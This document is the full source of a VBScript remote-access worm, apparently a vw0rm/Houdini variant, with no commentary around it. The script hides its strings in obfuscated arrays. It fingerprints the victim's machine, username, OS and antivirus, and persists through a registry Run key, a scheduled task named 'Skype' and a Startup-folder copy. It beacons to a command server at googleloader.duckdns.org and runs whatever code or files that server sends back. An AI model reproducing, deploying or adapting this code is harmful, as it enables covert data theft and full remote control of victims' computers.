nada

On error resume next

qweoasdojqiwuhsidqwasdqwe = array("WScript.Shell","Scripting.FileSystemObject","Shell.Application","Microsoft.XMLHTTP")
qiweooashdqwpasdopqwasdqw = array("HKCU","HKLM","HKCU\vw0rm","\Software\Microsoft\Windows\CurrentVersion\Run\","HKLM\SOFTWARE\Classes\","REG_SZ","\defaulticon\")
qwejoasdjqiwasdqwasd = array("winmgmts:","win32_logicaldisk","Win32_OperatingSystem","winmgmts:\\localhost\root\securitycenter","AntiVirusProduct")

function go(m)
if m=4 then
T="winmgmts:\\localhost\root\securitycenter"
Set B=GetObject(qwejoasdjqiwasdqwasd(3)).InstancesOf(qwejoasdjqiwasdqwasd(4))
for each a in b
go=a.displayName
exit for
next
Set B=GetObject(qwejoasdjqiwasdqwasd(3) & "2").InstancesOf(qwejoasdjqiwasdqwasd(4))
for each a in b
go=a.displayName
exit for
next
if go="" then go="Not-found"
else
Set B=GetObject(qwejoasdjqiwasdqwasd(0)).InstancesOf(qwejoasdjqiwasdqwasd(m))
for each a in b
if m = 1 then
go=a.volumeserialnumber
elseif m = 2 then
go=a.caption
end if
exit for
next
end if
end function

set w = WScript
set sh = Cr(0)
set fs = Cr(1)

Function Cr(N)
Set Cr = CreateObject(qweoasdojqiwuhsidqwasdqwe(N))
End Function

function Ex(s)
Ex = sh.ExpandEnvironmentStrings("%"&s&"%")
end function

function Pt(C,A)
Pt=""
Set X=Cr(3)
X.Open "POST","http://googleloader.duckdns.org:7776/"&C,false
X.setrequestheader "User-Agent:",nf
X.send A
Pt=X.responsetext
end function

Function nf
nf=""
i=go(1)
s=VN & "_" & i
nf=nf&s&c
s=ex("COMPUTERNAME")
nf=nf&s&c
s=ex("USERNAME")
nf=nf&s&c
s=go(2)
nf=nf&s&c
s=go(4)
nf=nf&s&c&c&nt&c&u&c
End Function

Sub Ns
on error resume next
dr=ex("AppData") & C & wn
fs.CopyFile fu,dr,true
sh.run "schtasks /create /sc minute /mo 1 /tn Skype /tr " & ChrW(34) & dr,false
sh.regwrite qiweooashdqwpasdopqwasdqw(0) & qiweooashdqwpasdopqwasdqw(3) & "H1ELQE6YA8", Ch & dr & Ch, qiweooashdqwpasdopqwasdqw(5)
fs.copyfile fu, Cr(2).NameSpace(&H7).Self.Path &C & wn ,true
end Sub

dr=ex("AppData") & C & wn





vn="XXX"
U=""

ch = chrw(34)
c = chrw(92)
fu = w.scriptfullname
wn=w.scriptname
NT="No"
if fs.fileexists(ex("Windir") & "\Microsoft.NET\Framework\v2.0.50727\vbc.exe") then
NT="Yes"
end if

U= sh.regread(qiweooashdqwpasdopqwasdqw(2))
if U="" then
if mid(fu,2)=":\" & wn then
U="TRUE"
sh.regwrite qiweooashdqwpasdopqwasdqw(2), U, qiweooashdqwpasdopqwasdqw(5)
else
U="FALSE"
sh.regwrite qiweooashdqwpasdopqwasdqw(2), U, qiweooashdqwpasdopqwasdqw(5)
end if
end if

Ns
spl="|V|"
while true
s=split(Pt("Vre",""),spl)
select case s(0)
case "exc"
sa= s(1)
execute sa
case "Sc"
s2 = Ex("temp") & "\" & s(2)
set wr = fs.OpenTextFile(s2,2,True)
wr.Write s(1)
wr.Close()
sh.run s2, 6
case "RF"
s2 = Ex("temp") & "\" & s(2)
set wr = fs.OpenTextFile(s2,2,True)
wr.Write s(1)
wr.Close()
sh.run s2
case "Ren"
set wr = fs.OpenTextFile(fu,1)
f = wr.ReadAll
wr.close()
f = replace(f,ch&vn&ch,ch&s(1)&ch)
set wr = fs.OpenTextFile(fu,2,false)
wr.Write f
wr.close()
case "Up"
set wr = fs.OpenTextFile(fu,2,false)
s(1) = replace(s(1),"|U|","|V|")
wr.Write s(1)
wr.Close()
sh.run "wscript.exe //B " & ch & fu & ch, 6
w.quit
case "Cl"
W.quit
case "Un"
S(1) = replace(S(1),"%f",fu)
S(1) = replace(S(1),"%n",wn)
S(1) = replace(S(1),"%sfdr",dr)
execute S(1)
w.quit
end select
W.Sleep 6000

wend